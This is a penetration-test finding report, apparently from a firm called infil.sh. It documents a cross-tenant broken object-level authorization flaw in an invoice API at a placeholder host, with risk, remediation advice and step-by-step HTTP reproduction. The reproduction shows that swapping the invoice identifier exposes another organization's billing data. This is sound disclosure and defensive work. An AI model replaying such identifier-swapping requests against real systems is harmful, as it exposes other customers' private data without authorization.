infil.sh Penetration testing / Technical finding

Technical finding · Web application & API assessment

Cross-tenant invoice disclosure via broken object-level authorization

Description

The GET /api/invoices/{invoice_id} endpoint fails to enforce object-level authorization between tenants. An authenticated user can retrieve an invoice belonging to another organization by substituting the invoice_id path parameter. The endpoint returns the requested invoice’s billing contact, outstanding balance and currency without verifying that the requesting user is authorized to access the owning organization.

Affected asset
https://billing.example.test
Endpoint
GET /api/invoices/{invoice_id}
Input vector
invoice_id path parameter

Risk

An authenticated attacker with a valid target invoice identifier can access another tenant’s billing information. This bypasses tenant isolation and exposes customer billing contacts and outstanding balances to users outside the owning organization. Exploitation requires a standard user account and a valid invoice identifier; no interaction from the affected customer is required. The demonstrated impact is unauthorized read access to invoice data.

Remediation

Enforce server-side object-level authorization before returning invoice data. Derive the requesting user’s tenant context from a validated session and verified membership records, then constrain invoice retrieval by both the requested identifier and the authorized tenant. Verify that the user holds invoice-read permission within that tenant. Reject requests outside the permitted scope with HTTP 403 Forbidden, or a consistent HTTP 404 Not Found response where object existence must be concealed.

Apply the authorization policy to all invoice operations, including listing, download, export and modification. Add regression tests for authorized access, cross-tenant requests, users without invoice-read permission and unauthenticated requests. Randomized invoice identifiers do not replace authorization checks.

Reproduction steps

  1. Establish the account and invoice ownership

    Use USER-A, a standard user with invoice-read permission in ORG-A and no membership or shared billing access in ORG-B. Obtain two invoice identifiers from the respective organizations: INV-A-101, owned by ORG-A, and INV-B-104, owned by ORG-B. Authenticate as USER-A and retain the session token for both requests below.

  2. Retrieve an authorized invoice

    Request INV-A-101 using the USER-A token. The endpoint returns HTTP 200 OK and an invoice associated with ORG-A.

    E-01 · Authorized invoice retrieval
    GET /api/invoices/INV-A-101 HTTP/1.1
    Host: billing.example.test
    Authorization: Bearer <USER_A_TOKEN>
    Accept: application/json
    
    HTTP/1.1 200 OK
    Content-Type: application/json
    
    {
      "invoice_id": "INV-A-101",
      "organization_id": "ORG-A",
      "billing_contact": "billing@customer-a.example",
      "balance_due": "320.00",
      "currency": "USD"
    }
  3. Request another tenant’s invoice

    Replay the request, changing only the path identifier to INV-B-104. Keep the same USER-A token and request headers. The endpoint returns HTTP 200 OK and the billing information for ORG-B.

    E-02 · Cross-tenant invoice retrieval
    GET /api/invoices/INV-B-104 HTTP/1.1
    Host: billing.example.test
    Authorization: Bearer <USER_A_TOKEN>
    Accept: application/json
    
    HTTP/1.1 200 OK
    Content-Type: application/json
    
    {
      "invoice_id": "INV-B-104",
      "organization_id": "ORG-B",
      "billing_contact": "billing@customer-b.example",
      "balance_due": "2400.00",
      "currency": "USD"
    }
  4. Verify the authorization bypass

    The second response contains organization_id: ORG-B and that organization’s invoice data, although the request uses a credential authorized only for ORG-A. The expected result is an authorization denial with no invoice data returned. The successful response confirms cross-tenant read access through the user-controlled invoice identifier.